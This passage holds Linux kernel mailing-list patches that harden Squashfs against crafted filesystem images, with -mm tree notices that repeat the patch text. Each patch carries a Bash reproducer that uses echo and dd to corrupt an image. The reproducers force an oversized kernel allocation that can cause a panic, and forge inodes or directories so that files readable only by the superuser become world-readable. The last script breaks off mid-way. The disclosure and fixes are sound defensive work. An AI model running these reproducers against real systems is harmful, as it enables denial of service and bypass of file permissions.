squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 10/23 Squashfs: fix fragment index table length too large exploit
In reply to Phillip LougherAn attacker can manipulate the fragment count and the fragment table start values in the superblock, and force the code to kmalloc() a 4 Mbyte memory region, or try to allocate larger values which will fail with a warning, and which will panic the kernel if panic on warn is set.
If the allocation succeeds, these invalid values will be caught when the code tries to read the data from disk, but, this leaves a small time window where the 4 Mbyte block is allocated before being freed when the mount of the filesystem fails.
The exploit relies on arithmetic overflow to evade the following sanity check:
if (fragment_table_start + length > next_table)
Specifically, the values of fragment_table_start and length can be chosen so that they overflow an unsigned long long, and so appear less than next_table.
Typically, the maximum memory that can be allocated with kmalloc() is 4 Mbytes. So if length is 4 Mbytes, this means fragment_table_start needs to be 2^64 - 4 Mbytes, to achieve overflow and produce a zero length.
This value is beyond the end of any block device, because the maximum block device is 2^63 - 512 in size (LLONG_MAX >> 9 sectors of 512 bytes).
In practice this means such a large value will be caught when the code immediately after allocation tries to read the data off disk:
table = squashfs_read_table(sb, fragment_table_start, length);
However, the code should check for validity before allocating a large kmalloc() area, because such allocations can cause memory pressure or cause the kernel to panic.
This commit checks that fragment_tables_size is not too large, and ensures arithmetic overflow does not occur.
It also makes the sanity check more exacting by utilising the fact that there should be zero gap between the end of the fragment index table and the next table.
Reproducer
=========
The following script if the eploit works, will fail with the mount error
mount: attempt to access beyond end of device
=================================================================
#!/bin/bash
ARGS="-quiet -no-progress"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}# Create a Squashfs filesystem with a single file. #
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create the Squashfs filesystem
if ! mksquashfs - img.sqsh -p "/ d 0777 0 0" -p "/file f 0777 0 0 echo hello" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The fragments field (fragment count) in the superblock is at offset # 16 bytes.
#
# Over-write the fragments count with 268,435,456 little-endian. # This will make the kernel try to kmalloc() 4 Mbytes to hold the
# fragment index table. #
# Write 268,435,456 in little-endian format to file /usr/bin/echo -en "\x00\x00\x00\x10" > file
# Over-write the fragments count in the superblock echo Over-write the fragments count in the superblock
dd bs=1 seek=16 if=file of=img.sqsh count=4 conv=notrunc status=none
# The fragment table start (start of the index table) in the superblock
# is at offset 72 bytes. # # Over-write the value with 2^64 - 4 Mbytes little-endian. # This value with the index table length will overflow an unsigned # long long, giving the value 0. This will evade the sanity check.
# Write 2^64 - 4 Mbytes in little-endian format to file /usr/bin/echo -en "\x00\x00\xc0\xff\xff\xff\xff\xff" > file
# Over-write the fragment table start in the superblock echo Over-write the fragment table start in the superblock
dd bs=1 seek=80 if=file of=img.sqsh count=8 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
# If the eploit works, the mount will fail with
# mount: attempt to access beyond end of device
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
popd 2>&1 > /dev/null
rm -rf $DIR
=================================================================
--- fs/squashfs/fragment.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
fs/squashfs/fragment.c +4 -4
@@ -68,11 +68,11 @@ __le64 *squashfs_read_fragment_index_table(struct super_block *sb,__le64 *table;/* -* Sanity check, length bytes should not extend into the next table - -* this check also traps instances where fragment_table_start is -* incorrectly larger than the next table start +* The computed size of the index table (length bytes) should exactly +* match the table start and end points */ -if (fragment_table_start + length > next_table) +if (fragment_table_start >= next_table || + length != (next_table - fragment_table_start))return ERR_PTR (-EINVAL ); table =squashfs_read_table (sb, fragment_table_start, length);
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-fix-fragment-index-table-length-too-large-exploit.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: fix fragment index table length too large exploit has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: fix fragment index table length too large exploit
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-fix-fragment-index-table-length-too-large-exploit.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-fix-fragment-index-table-length-too-large-exploit.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: fix fragment index table length too large exploit
Date: Mon, 23 Nov 2026 03:42:51 +0000
An attacker can manipulate the fragment count and the fragment table start values in the superblock, and force the code to kmalloc() a 4 Mbyte memory region, or try to allocate larger values which will fail with a warning, and which will panic the kernel if panic on warn is set.
If the allocation succeeds, these invalid values will be caught when the code tries to read the data from disk, but, this leaves a small time window where the 4 Mbyte block is allocated before being freed when the mount of the filesystem fails.
The exploit relies on arithmetic overflow to evade the following sanity check:
if (fragment_table_start + length > next_table)
Specifically, the values of fragment_table_start and length can be chosen so that they overflow an unsigned long long, and so appear less than next_table.
Typically, the maximum memory that can be allocated with kmalloc() is 4 Mbytes. So if length is 4 Mbytes, this means fragment_table_start needs to be 2^64 - 4 Mbytes, to achieve overflow and produce a zero length.
This value is beyond the end of any block device, because the maximum block device is 2^63 - 512 in size (LLONG_MAX >> 9 sectors of 512 bytes).
In practice this means such a large value will be caught when the code immediately after allocation tries to read the data off disk:
table = squashfs_read_table(sb, fragment_table_start, length);
However, the code should check for validity before allocating a large kmalloc() area, because such allocations can cause memory pressure or cause the kernel to panic.
This commit checks that fragment_tables_size is not too large, and ensures arithmetic overflow does not occur.
It also makes the sanity check more exacting by utilising the fact that there should be zero gap between the end of the fragment index table and the next table.
Reproducer
=========
The following script if the eploit works, will fail with the mount error
mount: attempt to access beyond end of device
=================================================================
#!/bin/bash
ARGS="-quiet -no-progress"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}# Create a Squashfs filesystem with a single file. #
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create the Squashfs filesystem
if ! mksquashfs - img.sqsh -p "/ d 0777 0 0" -p "/file f 0777 0 0 echo hello" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The fragments field (fragment count) in the superblock is at offset # 16 bytes.
#
# Over-write the fragments count with 268,435,456 little-endian. # This will make the kernel try to kmalloc() 4 Mbytes to hold the
# fragment index table. #
# Write 268,435,456 in little-endian format to file /usr/bin/echo -en "\x00\x00\x00\x10" > file
# Over-write the fragments count in the superblock echo Over-write the fragments count in the superblock
dd bs=1 seek=16 if=file of=img.sqsh count=4 conv=notrunc status=none
# The fragment table start (start of the index table) in the superblock
# is at offset 72 bytes. # # Over-write the value with 2^64 - 4 Mbytes little-endian. # This value with the index table length will overflow an unsigned # long long, giving the value 0. This will evade the sanity check.
# Write 2^64 - 4 Mbytes in little-endian format to file /usr/bin/echo -en "\x00\x00\xc0\xff\xff\xff\xff\xff" > file
# Over-write the fragment table start in the superblock echo Over-write the fragment table start in the superblock
dd bs=1 seek=80 if=file of=img.sqsh count=8 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
# If the eploit works, the mount will fail with
# mount: attempt to access beyond end of device
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
popd 2>&1 > /dev/null
rm -rf $DIR
=================================================================
fs/squashfs/fragment.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
fs/squashfs/fragment.c renamed from fs/squashfs/fragment.c~squashfs-fix-fragment-index-table-length-too-large-exploit +4 -4
@@ -68,11 +68,11 @@ __le64 *squashfs_read_fragment_index_tab__le64 *table;/* -* Sanity check, length bytes should not extend into the next table - -* this check also traps instances where fragment_table_start is -* incorrectly larger than the next table start +* The computed size of the index table (length bytes) should exactly +* match the table start and end points */ -if (fragment_table_start + length > next_table) +if (fragment_table_start >= next_table || + length != (next_table - fragment_table_start))return ERR_PTR (-EINVAL ); table =squashfs_read_table (sb, fragment_table_start, length);
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 11/23 Squashfs: sanity check inode metadata block location
In reply to Phillip LougherAn inode reference in Squashfs is represented as a tuple, the location of the compressed metadata block the inode is in, and the offset into the uncompressed block. The location is not absolute and it is instead encoded as an offset from the start of the inode table.
An attacker could manipulate the inode reference to make it point to a replacement malicious inode stored elsewhere, outside the inode table. This is because the code does not check that the location is valid and is within the inode table.
In practice this exploit is hard to achieve because metadata in Squashfs is compressed by default, and so the compressed metadata cannot be directly altered. In addition due to sanity checking at mount time there are no gaps in the filesystem to hide a malicious inode.
Also anyone with access to Mksquahfs/Unsquashfs can copy and recreate the filesystem incorporating whatever changes they want.
However there are a number of exploit scenarios here. Many embedded systems or secure systems have deliberately restricted installations with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits due to this bug can be achieved with only echo and dd.
An example exploit is where a Squashfs filesystem root directory has permissions 0700 (u=rxw), where only the superuser can enter the directory and access the content within. But using this bug an attacker could place a malicious root inode in the inode lookup table (used by NFS) which has the permissions changed to 0777 (a=rwx), and then update the root_inode field in the superblock to point to that. On reboot/remount this will make the directory accesisible to unprivileged users.
The following shell script acts as a reproducer and proof of concept.
This commit blocks such attempts by adding a new helper squashfs_inode_start() which adds additional sanity checking, first ensuring no arithmetic operations overflow, and second checking that the inode is within the inode table.
Reproducer
==========
The following Bash script uses echo and dd to achieve the previously discussed exploit. If the exploit is successful the root directory permisions will be changed to 0777 (a=rwx), but otherwise the filesystem is unchanged.
======================================================================
#!/bin/bash
ARGS="-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-time 0"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/zero of=zero bs=1024 count=1 status=none for i in $(seq 1 100); do
echo "$i l zero" >> pseudo
done
# Create a Squashfs filesystem with the root directory permissions u=rwx (0700) echo "Create a Squashfs filesystem with the root directory permissions u=rwx (0700)"
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0700 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The root_inode field in the superblock points to the compressed metadata
# block and offset within it, where the root inode is stored. # # Create a malicious root inode and hide it in the inode lookup table. # Because of mount time checking, there are no gaps between metadata tables # where it can be hidden, and it can't be hidden after the file system end, # because this is checked.
# Write malicious inode, this is the same as the original root inode, except
# it is uncompressed, and the permissions are set to 0777. /usr/bin/echo -en "\x20\x80\x01\x00\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\ \x65\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xec\x03\x00\x00\x00\x00\x00\ \x00" > file
# Place new root inode inside the inode lookup table echo Place new root inode inside the inode lookup table
dd bs=1 seek=960 if=file of=img.sqsh count=34 conv=notrunc status=none
# Update the root_inode field in the superblock to point to our new inode # The start block is an offset from the inode_table_start, and not an
# absolute value. The start of the inode table is 113, the new inode # is placed at position 964, and so the offset is 851. Because we've only # stored one inode in the metadata block, the offset into that block is 0. # echo Update the root_inode field in the superblock to point to our new inode
/usr/bin/echo -en "\x00\x00\x4f\x03" > file
dd bs=1 seek=32 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat /mnt, if the exploit is successful, permissions should be 0777 echo Stat /mnt, if the exploit is successful, permissions should be 0777
stat /mnt
popd 2>&1> /dev/null
rm -rf $DIR
======================================================================
---
v3:
- Change sanity check to ensure start isn't equal to directory table
(start >= msblk->directory_table). v2: - Ensure err is not used uninitialised. --- fs/squashfs/inode.c | 17 ++++++++++------- fs/squashfs/squashfs_helpers.h | 18 ++++++++++++++++++ 2 files changed, 28 insertions(+), 7 deletions(-)
fs/squashfs/inode.c +10 -7
@@ -109,8 +109,8 @@ int squashfs_read_inode(struct inode *inode, long long ino) {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 block =squashfs_inode_blk (ino) + msblk->inode_table; -int offset =squashfs_inode_offset (ino); +s64 block =squashfs_inode_start (msblk, ino), sblock = block; +int offset =squashfs_inode_offset (ino), soffset = offset;int err, type;union squashfs_inode squashfs_ino;struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base;
@@ -118,11 +118,14 @@ int squashfs_read_inode(struct inode *inode, long long ino)TRACE ("Entered squashfs_read_inode\n" ); +if (block <0 ) + goto bad_block_val; +/* * Read inode base common to all inode types. */ - err =squashfs_read_metadata (sb, sqshb_ino, &block, - &offset,sizeof (*sqshb_ino)); + err =squashfs_read_metadata (sb, sqshb_ino, &sblock, + &soffset,sizeof (*sqshb_ino));if (err <0 ) goto failed_read;
@@ -130,9 +133,6 @@ int squashfs_read_inode(struct inode *inode, long long ino)if (err) goto failed_read; - block =squashfs_inode_blk (ino) + msblk->inode_table; - offset =squashfs_inode_offset (ino); - type =le16_to_cpu (sqshb_ino->inode_type);switch (type) {case SQUASHFS_REG_TYPE : {
@@ -464,6 +464,9 @@ int squashfs_read_inode(struct inode *inode, long long ino)return 0 ; +bad_block_val: + err = block; + failed_read:ERROR ("Unable to read inode 0x%llx\n" , ino);return err;
fs/squashfs/squashfs_helpers.h +18 -0
@@ -47,6 +47,24 @@ static inline u16 squashfs_inode_offset(s64 inode)return inode &0xffff ; } +static inline s64 squashfs_inode_start (struct squashfs_sb_info *msblk,s64 inode) +{ +s64 start; + +if (inode <0 ) +return -EINVAL ; + +if (S64_MAX - msblk->inode_table <squashfs_inode_blk (inode)) +return -EINVAL ; + + start = msblk->inode_table +squashfs_inode_blk (inode); + +if (start >= msblk->directory_table) +return -EINVAL ; + +return start; +} +static inline s64 squashfs_mkinode (u32 start,u16 offset) {return ((s64 )start <<16 ) | offset;
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-sanity-check-inode-metadata-block-location.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: sanity check inode metadata block location has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: sanity check inode metadata block location
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-sanity-check-inode-metadata-block-location.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-sanity-check-inode-metadata-block-location.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: sanity check inode metadata block location
Date: Mon, 23 Nov 2026 03:42:52 +0000
An inode reference in Squashfs is represented as a tuple, the location of the compressed metadata block the inode is in, and the offset into the uncompressed block. The location is not absolute and it is instead encoded as an offset from the start of the inode table.
An attacker could manipulate the inode reference to make it point to a replacement malicious inode stored elsewhere, outside the inode table. This is because the code does not check that the location is valid and is within the inode table.
In practice this exploit is hard to achieve because metadata in Squashfs is compressed by default, and so the compressed metadata cannot be directly altered. In addition due to sanity checking at mount time there are no gaps in the filesystem to hide a malicious inode.
Also anyone with access to Mksquahfs/Unsquashfs can copy and recreate the filesystem incorporating whatever changes they want.
However there are a number of exploit scenarios here. Many embedded systems or secure systems have deliberately restricted installations with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits due to this bug can be achieved with only echo and dd.
An example exploit is where a Squashfs filesystem root directory has permissions 0700 (u=rxw), where only the superuser can enter the directory and access the content within. But using this bug an attacker could place a malicious root inode in the inode lookup table (used by NFS) which has the permissions changed to 0777 (a=rwx), and then update the root_inode field in the superblock to point to that. On reboot/remount this will make the directory accesisible to unprivileged users.
The following shell script acts as a reproducer and proof of concept.
This commit blocks such attempts by adding a new helper squashfs_inode_start() which adds additional sanity checking, first ensuring no arithmetic operations overflow, and second checking that the inode is within the inode table.
Reproducer
==========
The following Bash script uses echo and dd to achieve the previously discussed exploit. If the exploit is successful the root directory permisions will be changed to 0777 (a=rwx), but otherwise the filesystem is unchanged.
======================================================================
#!/bin/bash
ARGS="-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-time 0"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/zero of=zero bs=1024 count=1 status=none for i in $(seq 1 100); do
echo "$i l zero" >> pseudo
done
# Create a Squashfs filesystem with the root directory permissions u=rwx (0700) echo "Create a Squashfs filesystem with the root directory permissions u=rwx (0700)"
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0700 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The root_inode field in the superblock points to the compressed metadata
# block and offset within it, where the root inode is stored. # # Create a malicious root inode and hide it in the inode lookup table. # Because of mount time checking, there are no gaps between metadata tables # where it can be hidden, and it can't be hidden after the file system end, # because this is checked.
# Write malicious inode, this is the same as the original root inode, except
# it is uncompressed, and the permissions are set to 0777. /usr/bin/echo -en "\x20\x80\x01\x00\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\ \x65\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xec\x03\x00\x00\x00\x00\x00\ \x00" > file
# Place new root inode inside the inode lookup table echo Place new root inode inside the inode lookup table
dd bs=1 seek=960 if=file of=img.sqsh count=34 conv=notrunc status=none
# Update the root_inode field in the superblock to point to our new inode # The start block is an offset from the inode_table_start, and not an
# absolute value. The start of the inode table is 113, the new inode # is placed at position 964, and so the offset is 851. Because we've only # stored one inode in the metadata block, the offset into that block is 0. # echo Update the root_inode field in the superblock to point to our new inode
/usr/bin/echo -en "\x00\x00\x4f\x03" > file
dd bs=1 seek=32 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat /mnt, if the exploit is successful, permissions should be 0777 echo Stat /mnt, if the exploit is successful, permissions should be 0777
stat /mnt
popd 2>&1> /dev/null
rm -rf $DIR
======================================================================
fs/squashfs/inode.c | 17 ++++++++++------- fs/squashfs/squashfs_helpers.h | 18 ++++++++++++++++++ 2 files changed, 28 insertions(+), 7 deletions(-)
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-sanity-check-inode-metadata-block-location +10 -7
@@ -109,8 +109,8 @@ int squashfs_read_inode(struct inode *in {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 block =squashfs_inode_blk (ino) + msblk->inode_table; -int offset =squashfs_inode_offset (ino); +s64 block =squashfs_inode_start (msblk, ino), sblock = block; +int offset =squashfs_inode_offset (ino), soffset = offset;int err, type;union squashfs_inode squashfs_ino;struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base;
@@ -118,11 +118,14 @@ int squashfs_read_inode(struct inode *inTRACE ("Entered squashfs_read_inode\n" ); +if (block <0 ) + goto bad_block_val; +/* * Read inode base common to all inode types. */ - err =squashfs_read_metadata (sb, sqshb_ino, &block, - &offset,sizeof (*sqshb_ino)); + err =squashfs_read_metadata (sb, sqshb_ino, &sblock, + &soffset,sizeof (*sqshb_ino));if (err <0 ) goto failed_read;
@@ -130,9 +133,6 @@ int squashfs_read_inode(struct inode *inif (err) goto failed_read; - block =squashfs_inode_blk (ino) + msblk->inode_table; - offset =squashfs_inode_offset (ino); - type =le16_to_cpu (sqshb_ino->inode_type);switch (type) {case SQUASHFS_REG_TYPE : {
@@ -464,6 +464,9 @@ int squashfs_read_inode(struct inode *inreturn 0 ; +bad_block_val: + err = block; + failed_read:ERROR ("Unable to read inode 0x%llx\n" , ino);return err;
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-sanity-check-inode-metadata-block-location +18 -0
@@ -47,6 +47,24 @@ static inline u16 squashfs_inode_offset(return inode &0xffff ; } +static inline s64 squashfs_inode_start (struct squashfs_sb_info *msblk,s64 inode) +{ +s64 start; + +if (inode <0 ) +return -EINVAL ; + +if (S64_MAX - msblk->inode_table <squashfs_inode_blk (inode)) +return -EINVAL ; + + start = msblk->inode_table +squashfs_inode_blk (inode); + +if (start >= msblk->directory_table) +return -EINVAL ; + +return start; +} +static inline s64 squashfs_mkinode (u32 start,u16 offset) {return ((s64 )start <<16 ) | offset;
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 12/23 Squashfs: sanity check directory metadata block location
In reply to Phillip LougherThe contents of directories are stored in compressed metadata blocks, which are placed in the directory table. The location of a directory is thus represented as a tuple, the location of the compressed metadata block that the directory is in, and the offset into the uncompressed block. The block location is not absolute, and it is instead encoded as an offset from the start of the directory table.
An attacker could manipulate the directory block location to make it point to a replacement malicious directory stored elsewhere, outside the directory table. This is because the code does not check that the location is valid and is within the directory table.
In practice this exploit is hard to achieve because metadata in Squashfs is compressed by default, and so the compressed metadata cannot be directly altered. In addition due to sanity checking at mount time there are no gaps in the filesystem to store a malicious directory.
Also anyone with access to Mksquashfs/Unsquashfs can copy and recreate the filesystem incorporating whatever changes they want.
However, there are a number of exploit scenarios here. Many embedded systems or secure systems have deliverately restricted installations with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits due to this bug can be achieved with only echo and dd.
An example exploit is where a Squashfs filesystem has a file in the root directory with permissions 0700 (u=rxw), where only the superuser can read it. But using this bug an attacker could create a malicious replacement directory in the inode lookup table (used by NFS), that points to a malicious replacement inode that has the permissions changed to 0777 (a=wrx). On reboot/remount this would make the file readable by unprivileged users.
The following shell script acts as a reproducer and proof of concept.
This commit blocks such attempts by adding a new helper squashfs_dir_start() which adds additional sanity checking, first ensuring no arithmetic operations overflow, and second checking that the directory is within the directory table.
Reproducer
==========
The following Bash script uses echo and dd to achieve the previously discussed exploit. If the exploit is successful the file "data" permissions will be changed to 0777 (a=rwx), but otherwise the filesystem is unchanged.
===================================================================
#!/bin/bash
ARGS="-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-time 0"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/zero of=zero bs=1024 count=1 status=none echo "data f 0700 0 0 echo some data" >> pseudo echo "files d 0777 0 0" >> pseudo
for i in $(seq 1 100); do
echo "files/$i f 0655 1000 1000 cat zero" >> pseudo
done
# Create a Squashfs filesystem
echo "Create a Squashfs filesystem"
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# Exploit: The file named "data" has permissions 0700, which can only be
# read by the superuser. The desire is to change the permissions on # the file to be 0777, which can be read by unprivileged users. # # Due to compression of the metadata, this cannot be done by directly # writing to the metadata tables. Instead the real metadata is replaced # by malicious metadata starting from the "data" file inode upwards to # the root inode. # # This is a three step process. # # 1. A new "data" file inode is placed within the inode lookup table # 2. A new root directory which points to the new "data" file inode is # placed in the inode lookup table # 3. A new root inode which pounts to the new root directory table is # placed in the inode lookup table. # # For brevity this reproducer uses pre-computed data for the above.
# Write malicious inode for file "data", this is the same as the
# original except it is uncompressed, and the permissions are set to # 0777. echo Writing malicious inode for file \"data\"
/usr/bin/echo -en "\x20\x80\x02\x00\xFF\x01\x00\x00\x00\x00\x00\x00\
\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x0A\x00\x00\x00" > file
dd bs=1 seek=1034 if=file of=img.sqsh count=34 conv=notrunc status=none
# Write directory data which points to the malicious inode echo Writing root directory which points to malicious inode
/usr/bin/echo -en "\x31\x80\x00\x00\x00\x00\x90\x03\x00\x00\x01\x00\x00\
\x00\x00\x00\x00\x00\x02\x00\x03\x00\x64\x61\x74\x61\x00\x00\x00\x00\
\x00\x00\x00\x00\x02\x00\x00\x00\xA0\x0C\x00\x00\x01\x00\x04\x00\x66\
\x69\x6c\x65\x73" > file
dd bs=1 seek=983 if=file of=img.sqsh count=51 conv=notrunc status=none
#
# Write root inode, this is the same as the original root inode, except
# it is uncompressed, and it points to the new directory data echo Writing root inode which points to the new root directory
/usr/bin/echo -en "\x20\x80\x01\x00\xFF\x01\x00\x00\x00\x00\x00\x00\
\x00\x00\x67\x00\x00\x00\x43\x02\x00\x00\x03\x00\x00\x00\x34\x00\x00\
\x00\x00\x00\x00\x00" > file
dd bs=1 seek=949 if=file of=img.sqsh count=34 conv=notrunc status=none
# Update the root_inode field in the superblock to point to our new
